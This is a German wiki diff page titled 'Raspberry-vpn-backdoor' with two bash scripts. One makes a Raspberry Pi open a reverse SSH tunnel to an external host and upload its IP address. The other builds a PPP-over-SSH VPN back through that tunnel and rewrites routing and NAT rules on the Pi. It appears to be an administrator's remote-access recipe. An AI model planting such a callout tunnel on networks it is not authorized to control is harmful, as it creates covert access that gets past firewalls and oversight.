Raspberry-vpn-backdoor: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
 
(3 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=raspberryp=
+
=raspberrypy=
<script lang=bash>
+
*/usr/local/sbin/tunnel-init
 +
<syntaxhighlight lang="bash">
 
#!/bin/bash
 
#!/bin/bash
 
LOG=/var/log/vpn-hack.log
 
LOG=/var/log/vpn-hack.log
Zeile 14: Zeile 15:
 
scp -P 8472 /tmp/remote-ip $REMOTE:/tmp/ >> $LOG
 
scp -P 8472 /tmp/remote-ip $REMOTE:/tmp/ >> $LOG
 
fi
 
fi
</script>
+
</syntaxhighlight>
 +
=vpn-gateway=
 +
*/usr/local/sbin/vpn-hack
 +
<syntaxhighlight lang="bash">
 +
#!/bin/bash
 +
LOG="/var/log/vpn-hack.log"
 +
REMOTE_IP="/tmp/remote-ip"
 +
vpn_hack ()  {
 +
OKT=$(cat $REMOTE_IP | cut -f 1-3 -d .)
 +
rm $REMOTE_IP
 +
LOCAL_NET=10.86.0.0/16
 +
REMOTE_NET=${OKT}.0/24
 +
########
 +
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
 +
ADD_SNAT="/sbin/iptables -t nat -A POSTROUTING -s $LOCAL_NET -j MASQUERADE -o eth0"
 +
FLUSH_SNAT="/sbin/iptables -t nat -F"
 +
 
 +
    date >> $LOG
 +
    echo $OKT >> $LOG
 +
    echo  "Starting vpn to localhost -p 9922: " >> $LOG
 +
    pppd updetach noauth passive pty "ssh -P localhost -p 9922  -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.3:172.29.29.1 >> $LOG
 +
    ssh -P localhost -p 9922  route  add -net ${LOCAL_NET} gw 172.29.29.3 >> $LOG
 +
    route  add -net ${REMOTE_NET} gw 172.29.29.1 >> $LOG
 +
    ssh -P localhost -p 9922  ${FLUSH_SNAT} >> $LOG
 +
    ssh -P localhost -p 9922  ${ADD_SNAT} >> $LOG
 +
 
 +
}
 +
 
 +
if test -f $REMOTE_IP
 +
then
 +
vpn_hack
 +
fi
 +
</syntaxhighlight>

Aktuelle Version vom 28. September 2021, 09:00 Uhr

raspberrypy

  • /usr/local/sbin/tunnel-init
#!/bin/bash
LOG=/var/log/vpn-hack.log
REMOTE=bortus.tuxmen.de
IP=$(ifconfig eth0 | grep "inet\>" | awk '{ print $2"/"$4}')
echo $IP > /tmp/remote-ip

if ! ps -alx | grep $REMOTE | grep -v grep > /dev/null 2>&1
then
date >> $LOG
echo ssh -4 -f -N -p 8472 $REMOTE -R 9922:localhost:22 >> $LOG
ssh -4 -f -N -p 8472 $REMOTE -R 9922:localhost:22
scp -P 8472 /tmp/remote-ip $REMOTE:/tmp/ >> $LOG
fi

vpn-gateway

  • /usr/local/sbin/vpn-hack
#!/bin/bash
LOG="/var/log/vpn-hack.log"
REMOTE_IP="/tmp/remote-ip"
vpn_hack ()  {
OKT=$(cat $REMOTE_IP | cut -f 1-3 -d .)
rm $REMOTE_IP
LOCAL_NET=10.86.0.0/16
REMOTE_NET=${OKT}.0/24
########
PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:
ADD_SNAT="/sbin/iptables -t nat -A POSTROUTING -s $LOCAL_NET -j MASQUERADE -o eth0"
FLUSH_SNAT="/sbin/iptables -t nat -F"

     date >> $LOG
     echo $OKT >> $LOG
     echo  "Starting vpn to localhost -p 9922: " >> $LOG
     pppd updetach noauth passive pty "ssh -P localhost -p 9922  -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.3:172.29.29.1 >> $LOG
     ssh -P localhost -p 9922  route  add -net ${LOCAL_NET} gw 172.29.29.3 >> $LOG
     route  add -net ${REMOTE_NET} gw 172.29.29.1 >> $LOG
     ssh -P localhost -p 9922  ${FLUSH_SNAT} >> $LOG
     ssh -P localhost -p 9922  ${ADD_SNAT} >> $LOG

}

if test -f $REMOTE_IP
then
vpn_hack
fi